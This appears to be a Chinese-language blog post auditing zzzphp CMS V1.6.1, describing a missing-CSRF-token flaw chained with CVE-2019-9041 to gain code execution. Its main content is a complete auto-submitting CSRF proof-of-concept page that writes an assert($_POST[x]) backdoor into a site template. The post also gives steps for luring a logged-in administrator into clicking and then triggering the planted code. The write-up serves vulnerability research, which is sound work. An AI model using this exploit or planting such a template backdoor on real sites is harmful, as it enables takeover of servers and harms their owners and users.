前言
无意中看到vulnhub新放了一个Csrf大礼包,集合多个最新的csrf to getshell的cve!所以拿这个系统做一个系列关于Csrf的代码审计之路!今天的cms是zzzphp,漏洞并不是特别复杂,算是开个头吧!
正文
审计的zzzphp系统版本为V1.6.1,首先是一个csrf漏洞,这个漏洞原因在于整个后台没有csrf token保护,导致存在csrf漏洞,所以可以伪造客户端请求!再配合CVE-2019-9041即可getshell!
首先我们使用Burp Suite生成一个CSRF POC
修改如下:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.64/zzzphp/admin015/save.php?act=editfile" method="POST">
<input type="hidden" name="file" value="/zzzphp/template/pc/cn2016/html/search.html" />
<input type="hidden" name="filetext" value="{if:assert($_POST[x])}phpinfo();{end if}" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
其中生效的payload为html编码的{if:assert($_POST[x])}phpinfo();{end if}
。我们把这个poc保存为html文件,在管理员登陆的状态下,诱导管理员点击包含poc的链接,即可在search.html模版中插入恶意代码!
利用过程
csrf诱导点击链接
管理员点击后操作为后台的模版管理 -> 电脑模版 -> cn2016(6) -> html -> search.html 编辑
在模版中添加{if:assert($_POST[x])}xxx;{end if} 保存
访问
http://test.agesec.com/search/
代码执行